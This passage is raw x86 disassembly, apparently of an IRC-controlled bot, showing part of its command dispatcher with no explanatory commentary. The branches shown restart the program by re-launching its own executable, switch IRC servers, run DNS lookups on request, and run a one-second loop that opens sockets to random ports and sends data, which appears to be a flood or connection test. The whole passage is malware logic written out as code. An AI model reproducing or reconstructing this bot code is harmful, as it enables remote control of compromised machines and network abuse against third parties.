		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		push	offset dword_41DAB4
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DE30


loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AB0
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98


loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC


loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	dword_41DE38, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------


loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"


loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	dword_41DE38, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------


loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	dword_41DE38, 0


loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_419A3C
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62


loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	dword_41705C	; ExitProcess


loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B


loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD


loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE30


loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax


loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968


loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------


loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968


loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------


loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------


loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968


loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	dword_41709C	; Sleep


loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------


loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	dword_41DE8C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------


loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DE30


loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------


loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968


loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	dword_41DE8C	; freeaddrinfo


loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C


loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------


loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64	; clock
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2


loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64	; clock
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	dword_4171F4	; connect
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	dword_41720C	; send
		push	[ebp+var_63B8]
		call	dword_417230	; closesocket
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------


loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------


loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h


loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF


loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DC34
		push	3B6h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576


loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2


loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset dword_418B5C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896


loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------


loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0


loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
